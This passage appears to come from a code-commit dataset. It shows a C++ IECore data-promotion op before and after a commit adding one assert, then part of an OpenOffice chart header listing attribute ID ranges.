DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/ CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/ EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/ PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/ LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/ NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <boost\/format.hpp>\n\n#include \"IECore\/DataPromoteOp.h\"\n#include \"IECore\/SimpleTypedData.h\"\n#include \"IECore\/VectorTypedData.h\"\n#include \"IECore\/ObjectParameter.h\"\n#include \"IECore\/CompoundParameter.h\"\n#include \"IECore\/CompoundObject.h\"\n#include \"IECore\/Object.h\"\n#include \"IECore\/NullObject.h\"\n#include \"IECore\/DespatchTypedData.h\"\n\n#include <cassert>\n\nusing namespace IECore;\nusing namespace Imath;\nusing namespace std;\nusing namespace boost;\n\nDataPromoteOp::DataPromoteOp()\n\t\t:\tOp(\n\t\t staticTypeName(),\n\t\t \"Promotes scalar data types to compound data types.\",\n\t\t new ObjectParameter(\n\t\t \"result\",\n\t\t \"Promoted Data object.\",\n\t\t new NullObject(),\n\t\t DataTypeId\n\t\t )\n\t\t)\n{\n\tm_objectParameter = new ObjectParameter(\n\t \"object\",\n\t \"The Data object that will be promoted.\",\n\t new NullObject(),\n\t DataTypeId\n\t);\n\tm_targetTypeParameter = new IntParameter(\n\t \"targetType\",\n\t \"The target Data typeId.\",\n\t InvalidTypeId,\n\t 0,\n\t Imath::limits<int>::max()\n\t);\n\tparameters()->addParameter( m_objectParameter );\n\tparameters()->addParameter( m_targetTypeParameter );\n}\n\nDataPromoteOp::~DataPromoteOp()\n{\n}\n\nnamespace IECore\n{\n\ntemplate<typename T>\nstruct DataPromoteOp::Promote2Fn<T, typename boost::enable_if< TypeTraits::IsVectorTypedData<T> >::type >\n{\n\ttypedef DataPtr ReturnType;\n\n\ttemplate<typename F>\n\tReturnType operator()( typename F::ConstPtr d ) const\n\t{\n\t\tassert( d );\n\t\ttypename T::Ptr result = new T;\n\t\ttypename T::ValueType &vt = result->writable();\n\t\tconst typename F::ValueType &vf = d->readable();\n\t\tvt.resize( vf.size() );\n\t\ttypename T::ValueType::iterator tIt = vt.begin();\n\t\tfor ( typename F::ValueType::const_iterator it = vf.begin(); it!=vf.end(); it++ )\n\t\t{\n\t\t\t*tIt++ = typename T::ValueType::value_type( *it );\n\t\t}\n\t\treturn result;\n\t}\n};\n\ntemplate<typename T>\nstruct DataPromoteOp::Promote2Fn<T, typename boost::enable_if< TypeTraits::IsSimpleTypedData<T> >::type >\n{\n\ttypedef DataPtr ReturnType;\n\n\ttemplate<typename F>\n\tReturnType operator()( typename F::ConstPtr d ) const\n\t{\n\t\tassert( d );\t\n\t\ttypename T::Ptr result = new T;\n\n\t\tresult->writable() = typename T::ValueType( d->readable() );\n\n\t\treturn result;\n\t}\n};\n\nstruct DataPromoteOp::Promote1Fn\n{\n\ttypedef DataPtr ReturnType;\n\n\tTypeId m_targetType;\n\n\tPromote1Fn( TypeId targetType ) : m_targetType( targetType )\n\t{\n\t}\n\n\ttemplate<typename T, typename Enable = void >\n\tstruct Func\n\t{\n\t\tReturnType operator()( typename T::ConstPtr d, TypeId ) const\n\t\t{\n\t\t\tassert( d );\n\t\t\tthrow Exception( \"DataPromoteOp: Unsupported source data type \\\"\" + d->typeName() + \"\\\".\" );\n\t\t}\n\t};\n\n\ttemplate<typename F>\n\tReturnType operator()( typename F::ConstPtr d ) const\n\t{\n\t\tassert( d );\n\t\tFunc<F> f;\n\t\treturn f(d, m_targetType);\n\t}\n\n};\n\ntemplate<typename F >\nstruct DataPromoteOp::Promote1Fn::Func< F, typename boost::enable_if< TypeTraits::IsNumericVectorTypedData<F> >::type >\n{\n\tReturnType operator()( typename F::ConstPtr d, TypeId targetType ) const\n\t{\n\t\tassert( d );\t\n\t\tswitch ( targetType )\n\t\t{\n\t\tcase V2fVectorDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V2fVectorData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase V2dVectorDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V2dVectorData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase V3fVectorDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V3fVectorData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase V3dVectorDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V3dVectorData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase Color3fVectorDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<Color3fVectorData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tdefault :\n\t\t\tthrow Exception( \"DataPromoteOp: Unsupported target data type \\\"\" + Object::typeNameFromTypeId( targetType ) + \"\\\".\" );\n\t\t}\n\t}\n};\n\ntemplate<typename F >\nstruct DataPromoteOp::Promote1Fn::Func< F, typename boost::enable_if< TypeTraits::IsNumericSimpleTypedData<F> >::type >\n{\n\tReturnType operator()( typename F::ConstPtr d, TypeId targetType ) const\n\t{\n\t\tassert( d );\t\n\t\tswitch ( targetType )\n\t\t{\n\t\tcase V2fDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V2fData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase V2dDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V2dData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase V3fDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V3fData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase V3dDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V3dData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase Color3fDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<Color3fData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tdefault :\n\t\t\tthrow Exception( \"DataPromoteOp: Unsupported target data type \\\"\" + Object::typeNameFromTypeId( targetType ) + \"\\\".\" );\n\t\t}\n\t}\n};\n\n} \/\/ namespace IECore\n\nObjectPtr DataPromoteOp::doOperation( ConstCompoundObjectPtr operands )\n{\n\tassert( operands );\n\n\tconst TypeId targetType = (TypeId)m_targetTypeParameter->getNumericValue();\n\tDataPtr srcData = static_pointer_cast<Data>( m_objectParameter->getValue() );\n\tassert( srcData );\n\n\tPromote1Fn fn( targetType );\n\n\tDataPtr targetData = despatchTypedData< Promote1Fn, TypeTraits::IsNumericTypedData >( srcData, fn );\n\tassert( targetData );\n\n#ifndef NDEBUG\n\tsize_t srcSize = despatchTypedData< TypedDataSize >( srcData ) ;\n\tsize_t targetSize = despatchTypedData< TypedDataSize >( targetData ) ;\n\n\t\/\/\/ This post-condition is stated in the class documentation\n\tassert( srcSize == targetSize );\n#endif\n\n\treturn targetData;\n}\n<commit_msg>Added assert<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2007-2008, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/ * Neither the name of Image Engine Design nor the names of any\n\/\/ other contributors to this software may be used to endorse or\n\/\/ promote products derived from this software without specific prior\n\/\/ written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/ IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/ PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/ CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/ EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/ PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/ LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/ NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <boost\/format.hpp>\n\n#include \"IECore\/DataPromoteOp.h\"\n#include \"IECore\/SimpleTypedData.h\"\n#include \"IECore\/VectorTypedData.h\"\n#include \"IECore\/ObjectParameter.h\"\n#include \"IECore\/CompoundParameter.h\"\n#include \"IECore\/CompoundObject.h\"\n#include \"IECore\/Object.h\"\n#include \"IECore\/NullObject.h\"\n#include \"IECore\/DespatchTypedData.h\"\n\n#include <cassert>\n\nusing namespace IECore;\nusing namespace Imath;\nusing namespace std;\nusing namespace boost;\n\nDataPromoteOp::DataPromoteOp()\n\t\t:\tOp(\n\t\t staticTypeName(),\n\t\t \"Promotes scalar data types to compound data types.\",\n\t\t new ObjectParameter(\n\t\t \"result\",\n\t\t \"Promoted Data object.\",\n\t\t new NullObject(),\n\t\t DataTypeId\n\t\t )\n\t\t)\n{\n\tm_objectParameter = new ObjectParameter(\n\t \"object\",\n\t \"The Data object that will be promoted.\",\n\t new NullObject(),\n\t DataTypeId\n\t);\n\tm_targetTypeParameter = new IntParameter(\n\t \"targetType\",\n\t \"The target Data typeId.\",\n\t InvalidTypeId,\n\t 0,\n\t Imath::limits<int>::max()\n\t);\n\tparameters()->addParameter( m_objectParameter );\n\tparameters()->addParameter( m_targetTypeParameter );\n}\n\nDataPromoteOp::~DataPromoteOp()\n{\n}\n\nnamespace IECore\n{\n\ntemplate<typename T>\nstruct DataPromoteOp::Promote2Fn<T, typename boost::enable_if< TypeTraits::IsVectorTypedData<T> >::type >\n{\n\ttypedef DataPtr ReturnType;\n\n\ttemplate<typename F>\n\tReturnType operator()( typename F::ConstPtr d ) const\n\t{\n\t\tassert( d );\n\t\ttypename T::Ptr result = new T;\n\t\ttypename T::ValueType &vt = result->writable();\n\t\tconst typename F::ValueType &vf = d->readable();\n\t\tvt.resize( vf.size() );\n\t\ttypename T::ValueType::iterator tIt = vt.begin();\n\t\tfor ( typename F::ValueType::const_iterator it = vf.begin(); it!=vf.end(); it++ )\n\t\t{\n\t\t\t*tIt++ = typename T::ValueType::value_type( *it );\n\t\t}\n\t\treturn result;\n\t}\n};\n\ntemplate<typename T>\nstruct DataPromoteOp::Promote2Fn<T, typename boost::enable_if< TypeTraits::IsSimpleTypedData<T> >::type >\n{\n\ttypedef DataPtr ReturnType;\n\n\ttemplate<typename F>\n\tReturnType operator()( typename F::ConstPtr d ) const\n\t{\n\t\tassert( d );\t\n\t\ttypename T::Ptr result = new T;\n\n\t\tresult->writable() = typename T::ValueType( d->readable() );\n\n\t\treturn result;\n\t}\n};\n\nstruct DataPromoteOp::Promote1Fn\n{\n\ttypedef DataPtr ReturnType;\n\n\tTypeId m_targetType;\n\n\tPromote1Fn( TypeId targetType ) : m_targetType( targetType )\n\t{\n\t}\n\n\ttemplate<typename T, typename Enable = void >\n\tstruct Func\n\t{\n\t\tReturnType operator()( typename T::ConstPtr d, TypeId ) const\n\t\t{\n\t\t\tassert( d );\n\t\t\tthrow Exception( \"DataPromoteOp: Unsupported source data type \\\"\" + d->typeName() + \"\\\".\" );\n\t\t}\n\t};\n\n\ttemplate<typename F>\n\tReturnType operator()( typename F::ConstPtr d ) const\n\t{\n\t\tassert( d );\n\t\tFunc<F> f;\n\t\treturn f(d, m_targetType);\n\t}\n\n};\n\ntemplate<typename F >\nstruct DataPromoteOp::Promote1Fn::Func< F, typename boost::enable_if< TypeTraits::IsNumericVectorTypedData<F> >::type >\n{\n\tReturnType operator()( typename F::ConstPtr d, TypeId targetType ) const\n\t{\n\t\tassert( d );\t\n\t\tswitch ( targetType )\n\t\t{\n\t\tcase V2fVectorDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V2fVectorData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase V2dVectorDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V2dVectorData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase V3fVectorDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V3fVectorData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase V3dVectorDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V3dVectorData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase Color3fVectorDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<Color3fVectorData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tdefault :\n\t\t\tthrow Exception( \"DataPromoteOp: Unsupported target data type \\\"\" + Object::typeNameFromTypeId( targetType ) + \"\\\".\" );\n\t\t}\n\t}\n};\n\ntemplate<typename F >\nstruct DataPromoteOp::Promote1Fn::Func< F, typename boost::enable_if< TypeTraits::IsNumericSimpleTypedData<F> >::type >\n{\n\tReturnType operator()( typename F::ConstPtr d, TypeId targetType ) const\n\t{\n\t\tassert( d );\t\n\t\tswitch ( targetType )\n\t\t{\n\t\tcase V2fDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V2fData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase V2dDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V2dData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase V3fDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V3fData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase V3dDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<V3dData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tcase Color3fDataTypeId :\n\t\t{\n\t\t\tPromote2Fn<Color3fData> fn;\n\t\t\treturn fn.template operator()<F>( d );\n\t\t}\n\t\tdefault :\n\t\t\tthrow Exception( \"DataPromoteOp: Unsupported target data type \\\"\" + Object::typeNameFromTypeId( targetType ) + \"\\\".\" );\n\t\t}\n\t}\n};\n\n} \/\/ namespace IECore\n\nObjectPtr DataPromoteOp::doOperation( ConstCompoundObjectPtr operands )\n{\n\tassert( operands );\n\n\tconst TypeId targetType = (TypeId)m_targetTypeParameter->getNumericValue();\n\tDataPtr srcData = static_pointer_cast<Data>( m_objectParameter->getValue() );\n\tassert( srcData );\n\n\tPromote1Fn fn( targetType );\n\n\tDataPtr targetData = despatchTypedData< Promote1Fn, TypeTraits::IsNumericTypedData >( srcData, fn );\n\tassert( targetData );\n\tassert( targetData->typeId() == targetType );\n\n#ifndef NDEBUG\n\tsize_t srcSize = despatchTypedData< TypedDataSize >( srcData ) ;\n\tsize_t targetSize = despatchTypedData< TypedDataSize >( targetData ) ;\n\n\t\/\/\/ This post-condition is stated in the class documentation\n\tassert( srcSize == targetSize );\n#endif\n\n\treturn targetData;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: SchWhichPairs.hxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: bm $ $Date: 2003-12-09 16:30:51 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef CHART_SCHWHICHPAIRS_HXX\n#define CHART_SCHWHICHPAIRS_HXX\n\n#ifndef _SVX_SVXIDS_HRC\n#include <svx\/svxids.hrc>\n#endif\n\n#ifndef _XDEF_HXX\n#include <svx\/xdef.hxx>\n#endif\n#ifndef _SVDDEF_HXX\n#include <svx\/svddef.hxx>\n#endif\n#ifndef _EEITEM_HXX\n#include <svx\/eeitem.hxx>\n#endif\n\n#include \"SchSfxItemIds.hxx\"\n#include \"SchSlotIds.hxx\"\n\nnamespace\n{\n\nconst USHORT nTitleWhichPairs[] =\n{\n\/\/ SCHATTR_TEXT_ORIENT, SCHATTR_TEXT_ORIENT, \/\/ 4 sch\/schattr.hxx\n SCHATTR_TEXT_STACKED, SCHATTR_TEXT_STACKED, \/\/ 4 sch\/schattr.hxx\n SCHATTR_TEXT_DEGREES,SCHATTR_TEXT_DEGREES, \/\/ 53 sch\/schattr.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/\/ 1018 - 1046 svx\/xdef.hxx\n SDRATTR_SHADOW_FIRST, SDRATTR_SHADOW_LAST, \/\/ 1067 - 1078 svx\/svddef.hxx\n EE_ITEMS_START, EE_ITEMS_END, \/\/ 3994 - 4037 svx\/eeitem.hxx\n 0\n};\n\nconst USHORT nAxisWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n EE_ITEMS_START, EE_ITEMS_END, \/\/ 3994 - 4037 svx\/eeitem.hxx\n SID_ATTR_NUMBERFORMAT_VALUE, SID_ATTR_NUMBERFORMAT_VALUE, \/\/ 10585 - 10585 svx\/svxids.hrc\n SID_ATTR_NUMBERFORMAT_SOURCE, SID_ATTR_NUMBERFORMAT_SOURCE, \/\/ 11432 svx\/svxids.hrc\n SCHATTR_AXISTYPE, SCHATTR_AXISTYPE, \/\/ 39 sch\/schattr.hxx\n SCHATTR_TEXT_START, SCHATTR_TEXT_END, \/\/ 4 - 6 sch\/schattr.hxx\n SCHATTR_TEXT_DEGREES,SCHATTR_TEXT_DEGREES, \/\/ 53 sch\/schattr.hxx\n SCHATTR_TEXT_OVERLAP, SCHATTR_TEXT_OVERLAP, \/\/ 54 sch\/schattr.hxx\n SCHATTR_AXIS_START, SCHATTR_AXIS_END, \/\/ 70 - 95 sch\/schattr.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n \/\/ SID_TEXTBREAK, SID_TEXTBREAK, \/\/ 30587 sch\/app.hrc\n SCHATTR_TEXTBREAK, SCHATTR_TEXTBREAK, \/\/ 30587 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nAllAxisWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n EE_ITEMS_START, EE_ITEMS_END, \/\/ 3994 - 4037 svx\/eeitem.hxx\n\/\/ SCHATTR_TEXT_ORIENT, SCHATTR_TEXT_ORIENT, \/\/ 4 sch\/schattr.hxx\n SCHATTR_TEXT_START, SCHATTR_TEXT_END, \/\/ 4 - 6 sch\/schattr.hxx\n SCHATTR_TEXT_DEGREES,SCHATTR_TEXT_DEGREES, \/\/ 53 sch\/schattr.hxx\n SCHATTR_TEXT_OVERLAP, SCHATTR_TEXT_OVERLAP, \/\/ 54 sch\/schattr.hxx\n SCHATTR_AXIS_SHOWDESCR, SCHATTR_AXIS_SHOWDESCR, \/\/ 85 sch\/schattr.hxx\n \/\/ SID_TEXTBREAK, SID_TEXTBREAK, \/\/ 30587 sch\/app.hrc\n SCHATTR_TEXTBREAK, SCHATTR_TEXTBREAK, \/\/ 30587 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nGridWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nChartWhichPairs[] =\n{\n SCHATTR_STYLE_START,SCHATTR_STYLE_END, \/\/ 59 - 68 sch\/schattr.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nDiagramAreaWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/\/ 1018 - 1046 svx\/xdef.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nAreaAndChartWhichPairs[] = \/\/ pairs for chart AND area\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/\/ 1018 - 1046 svx\/xdef.hxx\n SCHATTR_STYLE_START,SCHATTR_STYLE_END, \/\/ 59 - 68 sch\/schattr.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nLegendWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/\/ 1018 - 1046 svx\/xdef.hxx\n SDRATTR_SHADOW_FIRST, SDRATTR_SHADOW_LAST, \/\/ 1067 - 1078 svx\/svddef.hxx\n EE_ITEMS_START, EE_ITEMS_END, \/\/ 3994 - 4037 svx\/eeitem.hxx\n SCHATTR_LEGEND_START, SCHATTR_LEGEND_END, \/\/ 3 - 3 sch\/schattr.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nDataLabelWhichPairs[] =\n{\n SCHATTR_DATADESCR_START, SCHATTR_DATADESCR_END,\n 0\n};\n\n#define CHART_POINT_WHICHPAIRS \\\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/* 1000 - 1016 svx\/xdef.hxx *\/ \\\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/* 1018 - 1046 svx\/xdef.hxx *\/ \\\n EE_ITEMS_START, EE_ITEMS_END, \/* 3994 - 4037 svx\/eeitem.hxx *\/ \\\n SCHATTR_DATADESCR_START, SCHATTR_DATADESCR_END, \/* 1 - 2 sch\/schattr.hxx*\/ \\\n SCHATTR_DUMMY0, SCHATTR_DUMMY0, \/* 40 sch\/schattr.hxx*\/ \\\n SCHATTR_DUMMY1, SCHATTR_DUMMY1, \/* 41 sch\/schattr.hxx*\/ \\\n SCHATTR_STYLE_START,SCHATTR_STYLE_END, \/* 59 - 68 sch\/schattr.hxx*\/ \\\n SCHATTR_SYMBOL_BRUSH,SCHATTR_SYMBOL_BRUSH, \/* 96 sch\/schattr.hxx*\/ \\\n SCHATTR_SYMBOL_SIZE,SCHATTR_USER_DEFINED_ATTR, \/* 99 - 100 sch\/schattr.hxx*\/ \\\n SDRATTR_3D_FIRST, SDRATTR_3D_LAST \/* 1244 - 1334 svx\/svddef.hxx *\/\n\nconst USHORT nDataPointWhichPairs[] =\n{\n CHART_POINT_WHICHPAIRS,\n 0\n};\n\nconst USHORT nRowWhichPairs[] =\n{\n CHART_POINT_WHICHPAIRS,\n SCHATTR_STAT_START, SCHATTR_STAT_END, \/* 45 - 52 sch\/schattr.hxx*\/ \\\n SCHATTR_AXIS,SCHATTR_AXIS, \/* 69 sch\/schattr.hxx*\/ \\\n 0\n};\n\nconst USHORT nAreaWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n SDRATTR_SHADOW_FIRST, SDRATTR_SHADOW_LAST, \/\/ 1067 - 1078 svx\/svddef.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nTextWhichPairs[] =\n{\n EE_ITEMS_START, EE_ITEMS_END, \/\/ 3994 - 4037 svx\/eeitem.hxx\n\/\/ SCHATTR_TEXT_ORIENT, SCHATTR_TEXT_ORIENT, \/\/ 4 sch\/schattr.hxx\n SCHATTR_TEXT_STACKED, SCHATTR_TEXT_STACKED, \/\/ 4 sch\/schattr.hxx\n SCHATTR_TEXT_DEGREES,SCHATTR_TEXT_DEGREES, \/\/ 53 sch\/schattr.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nTextOrientWhichPairs[] =\n{\n EE_ITEMS_START, EE_ITEMS_END, \/\/ 3994 - 4037 svx\/eeitem.hxx\n\/\/ SCHATTR_TEXT_ORIENT, SCHATTR_TEXT_ORIENT, \/\/ 4 sch\/schattr.hxx\n SCHATTR_TEXT_STACKED, SCHATTR_TEXT_STACKED, \/\/ 4 sch\/schattr.hxx\n SCHATTR_TEXT_DEGREES,SCHATTR_TEXT_DEGREES, \/\/ 53 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nStatWhichPairs[]=\n{\n SCHATTR_STAT_START, SCHATTR_STAT_END, \/\/ 45 - 52 sch\/schattr.hxx\n 0\n};\n\n\/\/ for CharacterProperties\n\nconst USHORT nCharacterPropertyWhichPairs[] =\n{\n EE_ITEMS_START, EE_ITEMS_END, \/\/ 3994 - 4037 svx\/eeitem.hxx\n 0\n};\n\nconst USHORT nLinePropertyWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n 0\n};\n\nconst USHORT nFillPropertyWhichPairs[] =\n{\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n SDRATTR_SHADOW_FIRST, SDRATTR_SHADOW_LAST, \/\/ 1067 - 1078 svx\/svddef.hxx\n 0\n};\n\nconst USHORT nLineAndFillPropertyWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 